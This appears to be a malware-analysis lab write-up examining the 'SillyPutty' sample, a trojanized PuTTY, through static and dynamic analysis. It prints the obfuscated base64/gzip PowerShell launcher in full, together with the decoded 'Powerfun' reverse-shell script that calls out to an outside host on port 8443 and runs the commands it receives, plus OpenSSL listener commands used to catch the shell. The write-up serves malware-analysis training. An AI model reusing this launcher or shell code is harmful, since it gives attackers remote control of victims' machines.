> For the complete documentation index, see [llms.txt](https://cyber-reaper.gitbook.io/my-malware-analysis-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cyber-reaper.gitbook.io/my-malware-analysis-guide/case-study/pmat-labs/1-3.-challenge-sillyputty.md).

# 1-3. Challenge-SillyPutty

Link to the sample: <https://github.com/HuskyHacks/PMAT-labs/tree/main/labs/1-3.Challenge-SillyPutty>

{% hint style="danger" %}
CAUTION!! at the time of writing this case study, this malware was not defanged (dis-armed), make sure you detonate it in the lab environment.
{% endhint %}

## Static Analysis

### Hashes & Malware Repository

Upload the file to `PEStudio` ,we got the following hashes, we will be usually needing the file hash itself:

<div align="left"><figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2FfUXkvCTqMPH3rRTBFWRh%2Fimage.png?alt=media&amp;token=8bcf0db9-e2d8-419d-b18f-cc35156d11ae" alt=""><figcaption></figcaption></figure></div>

We got the following result after submitting the hash to virus total:

<div align="left"><figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2FPJSQ98c3OAvrKE9PgdXd%2Fimage.png?alt=media&amp;token=ca381b3a-1173-45d5-aa45-89a62436ebd4" alt=""><figcaption></figcaption></figure></div>

### Static String Analysis

Let's extract the strings from the executable using `floss` to search them later:

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2FidLSKT2eGUBLb2tOtPgY%2Fimage.png?alt=media&amp;token=321d1114-5147-4629-9fb8-399ee582be45" alt=""><figcaption></figcaption></figure>

After the extraction is complete, go to `strings` section in `PEStudio` and filter the size in descending order to get the largest strings in the executable, immediately we found a string executing `PowerShell` command:

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2F0rw28WJiXy4XN5kA41KY%2Fimage.png?alt=media&amp;token=86cebbd8-339f-4379-b677-d4ba28819851" alt=""><figcaption></figcaption></figure>

Search in the extracted string before for `powershell` keyword to get the full command:

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2Fp1N2iITzo330c9Ipl9ZB%2Fimage.png?alt=media&amp;token=39fe8d84-c2b6-4017-8824-9633010a5578" alt=""><figcaption></figcaption></figure>

The command shows that the payload is first decoded from  `base64` encoding using `[System.Convert]::FromBase64String` then uncompressed from `gzip` compression using `System.IO.Compression.GzipStream` and `[System.IO.Compression.CompressionMode]::Decompress` :

{% code overflow="wrap" %}

```powershell
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXucleajm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
```

{% endcode %}

On `REMnux` store the base64 in a file then decode it into a `.gz` file since it uses `gzip` compression, you will get a PowerShell code:  &#x20;

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2FoAziWIKcSTxS9ncLJcZT%2Fimage.png?alt=media&amp;token=fa685a17-226e-4cef-8027-2cf36f6c0614" alt=""><figcaption></figcaption></figure>

The full code is:

{% code lineNumbers="true" fullWidth="true" %}

```powershell
# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8443
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}
```

{% endcode %}

**Lines 3-9**: This function creates an HTTP/HTTPS client that authenticates using the current user credentials.

**Lines 19-28**: This section is a functionality to decide the direction of the connection, whether to listen on port 8443 when receives `bind` command or to connect to `bonus2.corporatebonusapplication.local` on port 8443 when the command is `reverse` .

**Lines 32-37**: When **True,** it wraps the TCP connection with SSL/TLS encryption, and it accepts any SSL certificate even the self-signed ones.

<mark style="color:$danger;">**Lines 39-41:**</mark> Returns a string to the connection that contains the logged-on user and the computer name

<mark style="color:$danger;">**Lines 53-54**</mark>**:** Sends a `PS <Current Directory>   >` string to the connection as the ones from PowerShell

<mark style="color:$danger;">**Lines 56-70**</mark>**:** Executes the commands that are coming from the connection and returns back the result of the commands

### Import Address Table

Using `PEStudio` we got that the malware has `326` imports and flagged `51` imports, but as this is a malicious version of `PuTTY` it is understandable that such functionalities exist in it: &#x20;

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2F2UkB8HvID6tiazENm8nv%2Fimage.png?alt=media&amp;token=9440eb07-a42b-4363-b78d-ec4588942681" alt=""><figcaption></figcaption></figure>

### Packing

Using `PEView` , we need to compare the `Size of Raw Data` and the `Virtual Size` , the values shows that the malware is not packed:

<div align="left"><figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2F8MLW5yXBAhV6zdDEwH3u%2Fimage.png?alt=media&amp;token=80901169-3a27-4079-85ce-ecc9a71abbc9" alt=""><figcaption></figcaption></figure></div>

## Dynamic Analysis

Launch the malware then start collecting the artifacts of what it does:

### Host Indicators

Once we launched the application it executed the PowerShell script directly then closed the PowerShell terminal immediately, check the video below:

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2FGHrdU1RMfLrEUCsb78wB%2FScreen%20Recording%202025-11-19%20142930.gif?alt=media&amp;token=74f19a01-19b7-40f8-a847-69fecb2c6d82" alt=""><figcaption></figcaption></figure>

For this to be investigated, in addition to our filter that filters the `PuTTY.exe` process name, we need also to filter off `powershell` phrase from the path, it filtered all the PowerShell usages and searches including the command we found in the static analysis, check the image below:

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2FCvKY03j5WqNU6aCeLdQW%2Fimage.png?alt=media&amp;token=a73acc17-594f-430c-ae66-aff61c7a1dfe" alt=""><figcaption></figcaption></figure>

When inspecting the event details, we find that this is the exact command that was in the previous analysis:

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2F05RDALtXCjeCX9d1cbMm%2Fimage.png?alt=media&amp;token=4fcd7f5d-c22d-49fc-b2c7-77ba4e82d73e" alt=""><figcaption></figcaption></figure>

### Network Indicators

For this section, we need to have `inetsim` , `Wireshark` and a listener on port 8443 working, once we launch the malware again,&#x20;

In `Wireshark` we got only these events:

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2FScXKfpk4Jbh78b8wM0zh%2Fimage.png?alt=media&amp;token=88b1316b-6e2c-4031-87cc-70231b940458" alt=""><figcaption></figcaption></figure>

On the other side we receive this raw data from the connection on the listener:

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2FSQXG2wlkoU3H8U4UuYSN%2Fimage.png?alt=media&amp;token=495be7a0-6b30-45f1-aaa7-be511522027e" alt=""><figcaption></figcaption></figure>

Because this script tries to connect and wrap the connection using SSL/TLS layer, we need another approach other than `NetCat` to receive the connection, using `OpenSSL` as in the image below we find that we received a reverse shell on our `REMnux` server (first follow the commands of creating certificate and keys before starting the listener):

```
# Create Certificate
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -nodes -days 365

# Start listening
openssl s_server -accept 8443 -cert cert.pem -key key.pem
```

And the image below shows that the shell is full functional:

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2FF5530wuVoEBku5Z98Gcu%2Fimage.png?alt=media&amp;token=1ee54a67-c322-48e4-a84d-694d1738bb8f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3342156636-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpweTztwJYkByHhnELltL%2Fuploads%2Fml7ol7LDeSFf6ov8dfSC%2Fimage.png?alt=media&amp;token=3f3ff138-f7a5-4b5c-a586-30a6487ae5b7" alt=""><figcaption></figcaption></figure>
